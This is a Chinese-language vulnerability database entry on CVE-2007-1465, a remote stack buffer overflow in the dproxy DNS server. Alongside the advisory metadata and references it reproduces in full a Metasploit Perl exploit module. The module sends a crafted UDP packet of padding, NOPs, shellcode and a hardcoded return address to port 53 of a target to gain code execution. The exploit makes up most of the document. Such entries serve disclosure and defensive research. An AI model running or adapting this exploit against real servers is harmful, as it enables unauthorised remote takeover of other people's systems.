DProxy远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112530 漏洞类型 缓冲区溢出
发布时间 2007-03-23 更新时间 2007-03-23
CVE编号 CVE-2007-1465 CNNVD-ID CNNVD-200703-609
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/3554
https://www.securityfocus.com/bid/23112
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-609
|漏洞详情
dproxy是一款小型的缓存DNS服务器。dproxy处理请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制服务器。dproxy.c文件将最大可为4096字节的UDP报文缓冲区拷贝到了最大仅为2048字节的query_string变量,导致覆盖栈缓冲区并执行任意指令。
|漏洞EXP
# MetaSploit exploit for remote buffer overflow issue in dproxy
# Written in 2007 by Alexander Klink
# (c) 2007 Cynops GmbH
# released under the same license as MSF (Artistic, GPL dual-licensed)
# $Revision: 1.1 $

package Msf::Exploit::dproxy;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Udp;
use Pex::Text;

my $advanced = { };

my $info = {
    'Name'     => 'dproxy v0.1 - v0.5 buffer overflow exploit',
    'Version'  => '$Revision: 1.1 $',

    'Authors' => [ 'Alexander Klink, Cynops GmbH', ],
    'Arch'    => [ 'x86' ],
    'OS'      => [ 'linux'],
    'Priv'    => 0,

    'UserOpts'  => {
        'RHOST' => [1, 'ADDR', 'The target address'],
    },
    'Payload' => {
        'Space'     => 500,
        'BadChars'  => "\x00",
    },
    'Description'  => Pex::Text::Freeform(qq{
      This exploits a buffer overflow in dproxy version 0.1 to 0.5.
    }),
    'Refs' => [
        [ 'CVE', '2007-1465' ],
    ],

    'DefaultTarget' => 0,
    'Targets' => [
        ['Linux', 0xbfffe480],
    ],
    'Keys' => [ 'dproxy' ],
    'DisclosureDate' => 'Mar 20 2007',
};

sub new {
    my $class = shift;
    my $self = $class->SUPER::new(
        {
          'Info'     => $info,
          'Advanced' => $advanced
        }, @_
    );

    return $self;
}

sub Exploit {
  my $self = shift;

  my $targetHost     = $self->GetVar('RHOST');
  my $targetPort     = 53;
  my $targetIndex    = $self->GetVar('TARGET');
  my $srcPort        = $self->GetVar('CPORT');
  my $encodedPayload = $self->GetVar('EncodedPayload');
  my $shellcode      = $encodedPayload->Payload;
  my $target         = $self->Targets->[$targetIndex];

  if (! $self->InitNops(512)) {
      $self->PrintLine("Could not initialize the nop module");
      return;
  }
  my $sock = Msf::Socket::Udp->new(
    'PeerAddr'  => $targetHost,
    'PeerPort'  => $targetPort,
    'LocalPort' => $srcPort,
  );
  if($sock->IsError) {
    $self->PrintLine('Error creating socket: ' . $sock->GetError);
    return;
  }

  $self->PrintLine('Trying ' . $target->[0] . ' (' . $targetHost . ')');

  my $evil = 'A' x 1000 . $self->MakeNops(500) . $shellcode
      . 'A' x (2073 - 1500 - length($shellcode)) . pack('V', $target->[1]);

  $sock->Send($evil);

  return;
}

1;

# milw0rm.com [2007-03-23]
|受影响的产品
Matthew Pratt dproxy 0.5 Matthew Pratt dproxy 0.4 Matthew Pratt dproxy 0.3 Matthew Pratt dproxy 0.2 Matthew Pratt dproxy 0.1
|参考资料

来源:MISC
链接:https://www.cynops.de/advisories/CVE-2007-1465.txt
来源:FULLDISC
名称:20070323dproxy-arbitrarycodeexecutionthroughstackbufferoverflowvulnerability
链接:http://seclists.org/fulldisclosure/2007/Mar/0409.html
来源:OSVDB
名称:34449
链接:http://osvdb.org/34449
来源:XF
名称:dproxy-udp-packet-bo(33171)
链接:http://xforce.iss.net/xforce/xfdb/33171
来源:BID
名称:23112
链接:http://www.securityfocus.com/bid/23112
来源:VUPEN
名称:ADV-2007-1091
链接:http://www.frsirt.com/english/advisories/2007/1091
来源:SECUNIA
名称:24623
链接:http://secunia.com/advisories/24623